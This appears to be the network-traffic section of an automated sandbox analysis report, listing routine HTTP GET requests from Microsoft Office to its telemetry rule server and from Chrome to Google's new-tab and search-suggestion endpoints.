Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
